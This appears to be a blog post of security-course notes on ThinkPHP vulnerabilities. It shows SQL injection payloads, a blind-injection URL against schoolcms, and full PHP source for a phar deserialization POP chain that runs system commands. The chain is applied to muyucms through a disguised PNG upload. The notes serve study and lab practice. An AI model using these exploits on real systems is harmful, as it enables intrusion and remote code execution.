小迪安全110-tp框架,版本缺陷,不安全写法,路由访问,利用链

入口文件

前端页面显示文件

就是这串代码让我们看到前端的笑脸图

不用入口文件我们要访问这个文件就要按照开发手册的url访问模式

那就是index.php/index/index/index

对应的就是模块,控制器,操作,函数名

如果想要创建新模块,和操作格式要和图中的一样,但在controdler文件创建是类,才会自动加载class和上面的namspace这些内容

不安全写法

而tp框架有自己写sql语句的语法

这里创建一个新的类

明明规则,第一个必须大写

查询语句要导入一个新的类,就db,导入了才能使用

按照tp框架的安全sql查询方法

tp有有一个debug调试模式,开启就可以看到执行的sql语句,报错等等

在访问网站就看到了调试图标

在安全写法的时候,在后门拼接任何参数都没更改

按照手册安全写法,写接受数据的语句

这样就可以传入id参数查询数据

官方的提交方式,那这里会不会有sql注入

没有,根本不会带入查询,这是tp的安全写法内置过滤

这就是框架,只要按照开发手册的写法,不是框架的问题就不会有漏洞,因为在执行过程中或者类里面就有过滤代码

如果不按照手册写

例如写成这样

)%20and%201=(updatexml(1,concat(0x3a,(select%20user())),1))%23

这就造成了sql注入

这里不按照官方写法,调试也检测不到sql语句,也容易产生安全问题

tp版本漏洞反序列化phar漏洞

还有一种是版本安全问题

或者自己二开的时候写了不安全代码

比如写成这样,exists是确定文件存不存在,这里创建一个文件,由于触发的目录是public目录,所以文件要创建在public目录下

文件存在,那这里因为有exists函数去操作文件了,就可以造成phar反序列化漏洞

O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:17:"think\Modeldata";a:1:{s:5:"smi1e";s:2:"id";}s:21:"think\ModelwithAttr";a:1:{s:5:"smi1e";s:6:"system";}s:9:"*append";a:1:{s:5:"smi1e";s:1:"1";}}}}

而生成这个pyload是基于

这两个目录生成,复制出来

这里调用的链也是tp的链

就要把生成phar的类变成tp调用链

把class那个类换成tp调用类

就是这个文件的类

之后还要从另一个文件复制点东西

复制过来之后,把第二值赋予一个变量a,。任何倒数三行变量也改成变量啊。还要把这些内容阔在namespace里面,

这里把执行的命令改成calc,就不需要变量system传递参数了,所以删掉

源码

php 复制代码
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $Conver = new \think\model\Pivot($parameter);
    $a= new \think\process\pipes\Windows($Conver);
    $phar = new Phar("x.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
}

?>

wc,为什么生成phar.phar?

不管了,放搭配pubuli目录下

直接这个格式访问,命令执行

这就是tp的版本漏洞,反序列化phar类型,只要有这种去文件操作类的函数,上传上去的哪怕是图片也能命令执行

muyucms反序列化漏洞

源码搞到了,但必须是数据库5.6,小皮没有

tp版本。

入口点

application目录

思路

myyucms

tp5.0.24

1.找到tp版本存在的漏洞

2.找不安全的写法(sql注入,文件上传等等)

找不安全的写法(sql注入,文件上传等等)

就去对比官方手册看危险操作有没有严格按照官方手册去写

全局搜搜sql函数,因为是tp框架,看不到直接的selecr这些,所以搜where

这个地方直接写的等号,没有按照安全写法

变量uid是从s形的id的userid获取

再往下看,更危险的写法

这里就要记录,出发文件,函数名,要求条件

确定一下访问路径

admin/login/login.html

这就大概猜出来他的访问模式

admin模块,login控制,login操作

所以触发漏洞地方的访问方式

bbs/user/xiaodidel

触发到了

在满足条件ids=0 任何id就是注入点

注入成功

找到tp版本存在的漏洞

案例二schoolcms版本漏洞问题

3.23版本

参考文章

https://www.freebuf.com/articles/web/345544.html

大概看了一下处理流程,最后是在进行格式定义的不进入intval转义那条代码,进入str的就可以使用传入数组的方式绕过过滤

主要漏洞函数点find、

全局变量搜一下

拼接一些路徑

http://school.cn:90/admin.php?m=Admin&c=Index&a=Index

m=Admin&cArticle&a=SaveInfo

http://school.cn:90/admin.php?m=Admin&c=Article&a=SaveInfo&id=1

ok,但这个注入是不会回显报错语句,所以用到盲注,然后参考文档也是要用到数组的传递方式,不进入intval处理函数

这里看数据库监控执行的语句没有id=

最好在加一个

最后pyload

http://school.cn:90/admin.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=1%20and%20sleep(3)#

延时了,存在盲注

案例三muyucms 反序列化漏洞

版本

然后生成phar文件,去找文件的操作函数

file_exists(),fopen(),file_get_contents(),file()

就是这里

然后构造一下访问目录

然后就注册账户,上传phar报的png

直接就phar:// 头像文件

反序列化命令执行!!

成了!

案例四,学员提供源码

jian

kang

相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全